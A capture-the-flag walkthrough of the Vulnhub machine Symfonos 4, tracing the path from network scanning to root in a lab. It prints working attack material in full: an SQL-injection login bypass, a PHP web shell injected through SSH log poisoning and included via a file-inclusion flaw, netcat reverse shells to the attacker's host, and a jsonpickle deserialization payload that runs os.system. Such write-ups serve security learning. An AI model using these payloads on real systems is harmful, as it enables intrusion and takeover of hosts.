Today we are goting to dive into an intermediate machine on the Vulnhub: Symfonos 4. The difficult part of the lab lies in the privilege escalation. But let's get into it.
IP Address Discovery
After importing the machine into VirtualBox, we may run netdiscover to identify IP address of the machine:
$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:14 1 60 Unknown vendor
192.168.56.100 08:00:27:30:60:35 1 60 PCS Systemtechnik GmbH
192.168.56.254 08:00:27:be:e3:b9 1 60 PCS Systemtechnik GmbH
The IP address of the target machine is found to be 192.168.56.254.
NMAP Scanning
Then we may conduct ports and services scanning with NMAP as shown below:
$ sudo nmap -sS -sC -sV -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 21:55 EDT
Nmap scan report for 192.168.56.254
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
| 256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_ 256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:BE:E3:B9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We may notice there are two open ports: 22(SSH) and 80(HTTP) from the output of NMAP.
Enumeration
Since we can't do very much with SSH service at this point, the web application should be enumerated to gather information as much as possible. When we access the site with the browser, a site with a big image is presented:
The image can be downloaded to Kali for further analysis. However, no hidden message is found with the tools of exiftool, steghide, stegseek:
$ exiftool image.jpg
ExifTool Version Number : 13.25
File Name : image.jpg
Directory : .
File Size : 118 kB
File Modification Date/Time : 2025:08:15 21:59:21-04:00
File Access Date/Time : 2025:08:15 21:59:21-04:00
File Inode Change Date/Time : 2025:08:15 21:59:21-04:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1280
Image Height : 720
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1280x720
Megapixels : 0.922
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ steghide extract -sf image.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ stegseek image.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.52% (132.8 MB)
[!] error: Could not find a valid passphrase
robots.txt is not there as well:
$ curl http://192.168.56.254/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /robots.txt
on this server.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.56.254 Port 80</address>
</body></html>
No any interesting information is found by Nikto:
$ nikto -h http://192.168.56.254
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.56.254
+ Target Hostname: 192.168.56.254
+ Target Port: 80
+ Start Time: 2025-08-15 22:01:17 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: c9, size: 59058b74c9871, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2025-08-15 22:01:33 (GMT-4) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Then we can perform directory enumeration with gobuster together with a normal wordlist:
$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.254
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,bak,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 294]
/index.html (Status: 200) [Size: 201]
/.php (Status: 403) [Size: 293]
/css (Status: 301) [Size: 314] [--> http://192.168.56.254/css/]
/manual (Status: 301) [Size: 317] [--> http://192.168.56.254/manual/]
/js (Status: 301) [Size: 313] [--> http://192.168.56.254/js/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.56.254/javascript/]
/robots.txt (Status: 403) [Size: 299]
/sea.php (Status: 302) [Size: 0] [--> atlantis.php]
/atlantis.php (Status: 200) [Size: 1718]
/.html (Status: 403) [Size: 294]
/.php (Status: 403) [Size: 293]
/server-status (Status: 403) [Size: 302]
/gods (Status: 301) [Size: 315] [--> http://192.168.56.254/gods/]
Progress: 1102800 / 1102805 (100.00%)
============================================================== (Status: 403) [Size: 294]
With Gobuster, we may find one directory /gods and two files: /sea.php, /atlantis.php. Let's access them one by one. Three log files are seen in the directory of /gods. Download them to Kali, none of which gives any valuable information. When we access /sea.php, we are automatically redirectored to /atlantis.php.
Exploitation
We try to use default username and password: admin:admin to sign in without success. Then we attemp to use login bypass technique:
admin' or 1=1 --
It is working. Amazing. After we log in successfully, we are presented a drop-down. Choose one of them and find its url is suspicious:
http://192.168.56.254/sea.php?file=hades
We can strongly guess here is vulnerable to file inclusion. In order to test it, we may launch Burpsuite to intercept the request which can then be sent to the repeater module. We can play various testing around in the repeater module.
Tried to access /etc/passwd, but it failed. Since ssh service is running on the target machine, we can try to access authentication log file:/var/log/auth.log. Here we should exclude extention of log, we believe background script on the server has already taken care of the extension.
It works. Beautiful. So what can we do next? Our goal next is to poison this authentication log file. To do this, we may use malicous payload (web shell) as username to ssh to the target machine. Unfortunately, newer distrition of Kali has already prevented us from puting such malicous payload as username.
$ ssh '<?php system($_GET["cmd"]); ?>'@192.168.56.254
remote username contains invalid characters
Don't worry, we may use Metasploit framework for the same purpose:
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession true no Create a new session for every successful login
DB_ALL_CREDS false no Try each user/password couple stored in the current dat
abase
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current databas
e (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space,
one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.254
RHOSTS => 192.168.56.254
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME <?php system($_GET["cmd"]); ?>
USERNAME => <?php system($_GET[cmd]); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password anything
password => anything
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.254:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Great. The command can be executed successfully:
Now it is time to run reverse shell command. But on Kali we should set up listener with netcat :
$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
Then we replace the id command with reverse shell command:
http://192.168.56.254/sea.php?file=../../../../../../../../var/log/auth&cmd=nc%20-e%20/bin/bash%20192.168.56.103%205555
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.254] 36478
As you see above, we are excited to get connection from the target machine. We go furthemore gathering information as much as possible. Database connection credentials can be found in the file: /atlantis.php
www-data@symfonos4:/var/www/html$ cat atlantis.php
cat atlantis.php
<?php
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
$db = new PDO("mysql:host=localhost:3306;dbname=db", DB_USERNAME,DB_PASSWORD);
www-data@symfonos4:/home$ mysql -uroot -p
mysql -uroot -p
Enter password: yVzyRGw3cG2Uyt2r
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 20
Server version: 10.3.15-MariaDB-1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| db |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.016 sec)
MariaDB [(none)]> use db;
use db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [db]> show tables;
show tables;
+--------------+
| Tables_in_db |
+--------------+
| users |
+--------------+
1 row in set (0.000 sec)
MariaDB [db]> select * from users;
select * from users;
+----------+------------------------------------------------------------------+
| username | pwd |
+----------+------------------------------------------------------------------+
| admin | b674f184cd52edabf2c38c0142452c0af7e21f71e857cebb856e3ad7714b99f2 |
+----------+------------------------------------------------------------------+
1 row in set (0.000 sec)
We can connect to the database but nothing valuable is found. How about we use the retrieved password for the user:poseidon. After all, there is only one normal user in the machine. We can try to see whether there is password reuse.
www-data@symfonos4:/home$ su - poseidon
su - poseidon
Password: yVzyRGw3cG2Uyt2r
poseidon@symfonos4:~$ ls -alh
ls -alh
total 24K
drwxr-xr-x 3 poseidon poseidon 4.0K Aug 15 21:49 .
drwxr-xr-x 3 root root 4.0K Aug 17 2019 ..
lrwxrwxrwx 1 root root 9 Aug 18 2019 .bash_history -> /dev/null
-rw-r--r-- 1 poseidon poseidon 220 Aug 17 2019 .bash_logout
-rw-r--r-- 1 poseidon poseidon 3.5K Aug 17 2019 .bashrc
drwx------ 3 poseidon poseidon 4.0K Aug 15 21:49 .gnupg
-rw-r--r-- 1 poseidon poseidon 807 Aug 17 2019 .profile
Without any hesitation, we can have a much better shell with SSH:
$ ssh poseidon@192.168.56.254
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:ntMXt1jIeiDKNEuRMRXU6uCVo/fmwaEqmxDA5r4nwds.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
poseidon@192.168.56.254's password:
Linux symfonos4 4.19.0-5-686 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 18 02:50:19 2019 from 192.168.1.147
Next linpeas.sh can be uploaded to the target machine. Later this script can be used to gather much more information than manual enumeration. Of course, to do this, we set up web server on Kali by Python3:
─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Back to the target's shell, we may use wget to upload the script then execte it.
oseidon@symfonos4:/tmp$ wget http://192.168.56.103:8000/linpeas.sh
--2025-08-15 21:52:57-- http://192.168.56.103:8000/linpeas.sh
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847924 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[==========================================>] 828.05K --.-KB/s in 0.003s
2025-08-15 21:52:57 (257 MB/s) - ‘linpeas.sh’ saved [847924/847924]
poseidon@symfonos4:/tmp$ chmod +x linpeas.sh
poseidon@symfonos4:/tmp$ ./linpeas.sh
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 *:80 *:*
Privilege Escalation
As shown in the part of output by Linpeas.sh, port 8080 is open but only accessible locally. To access the application, we can forward this web application with SSH:
$ ssh -L 8080:127.0.0.1:8080 poseidon@192.168.56.254
─$ ss -tunlp | grep 8080
tcp LISTEN 0 128 [::1]:8080 [::]:* users:(("ssh",pid=35501,fd=4))
tcp LISTEN 0 50 [::ffff:127.0.0.1]:8080 *:* users:(("java",pid=21659,fd=36))
As shown in the above figure, port forwarding has been enabled. But for whaever reason, when we access the port 8080 locally on Kali, it fails. So we can turn to socat to set up port forwarding.
poseidon@symfonos4:/tmp$ which socat
/usr/bin/socat
poseidon@symfonos4:/tmp$ socat tcp-listen:9000,reuseaddr,fork tcp:127.0.0.1:8080
This time we access the forwarded web applicaiton with the browser. Beautiful! Since no much functions here are provided by this application. We may launch BursSuite to see what is going on.
It seems the username has been encoded.
$ echo 'eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==' | base64 -d
{"py/object": "app.User", "username": "Poseidon"}
Possibly attack vector lies in this process. However what exactly is going here. We can get the source code responsible for this applicaiton:
poseidon@symfonos4:/opt/code$ cat app.py
cat app.py
from flask import Flask, request, render_template, current_app, redirect
import jsonpickle
import base64
app = Flask(__name__)
class User(object):
def __init__(self, username):
self.username = username
@app.route('/')
def index():
if request.cookies.get("username"):
u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
return render_template("index.html", username=u.username)
else:
w = redirect("/whoami")
response = current_app.make_response(w)
u = User("Poseidon")
encoded = base64.b64encode(jsonpickle.encode(u))
response.set_cookie("username", value=encoded)
return response
@app.route('/whoami')
def whoami():
user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
username = user.username
return render_template("whoami.html", username=username)
if __name__ == '__main__':
app.run()
From the source code, we can tell one python module jsonpickle is used. Reverse shell command can be put into the username field in the request. Of course, the payload should be encoded with Base64:
{"py/object":"main.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/bash 192.168.56.103 6666"]},null,null,null]}
$ sudo nc -nlvp 6666
[sudo] password for kali:
listening on [any] 6666 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.254] 57860
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -alh
total 24K
drwx------ 3 root root 4.0K Aug 19 2019 .
drwxr-xr-x 18 root root 4.0K Aug 17 2019 ..
lrwxrwxrwx 1 root root 9 Aug 18 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4.0K Aug 19 2019 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 1.3K Aug 19 2019 proof.txt
cat proof.txt
Congrats on rooting symfonos:4!
~ ~ ~ w W w
~ \ | / ~
~ ~ ~ \.|./ ~
|
~ ~ | ~
o ~ .:.:.:. | ~
~ wwWWWww // ~
((c ))"""(( //| ~
o /\/\(( (( 6 6 )) // | ~
(d d (( )))^((( // |
o / / c((-(((')))-.// | ~
/===/ `) (( )))(( ,_/ |~
~ /o o/ / c((( (()) | | ~ ~
~ `~`^ / c ((( )) | | ~
/c c((( ( | ~ | ~
~ / c ((( . | | ~ ~
/ c c ((^^^^^^`\ ~ | ~ ~
|c c c c((^^^ ^^^`\ |
~ \ c c c(^^^^^^^^`\ | ~
~ `\ c c c;`\^^^^^./ | ~
`\c c c ;/^^^^^/ | ~
~ ~ `\ c c /^^^^/' ~ | ~
~ `;c |^^/' o
.-. ,' c c//^\\ ~
~ ( @ `.`c -///^\\\ ~ ~
\ -` c__/|/ \|
~ `---' ' ~ ' ~
~ ~ ~ ~ ~
Contact me via Twitter @zayotic to give feedback!
Fianlly we grab the final flag and get root's shell.
Comments
Leave a Comment
Bob
Aug 17, 2025 13:11test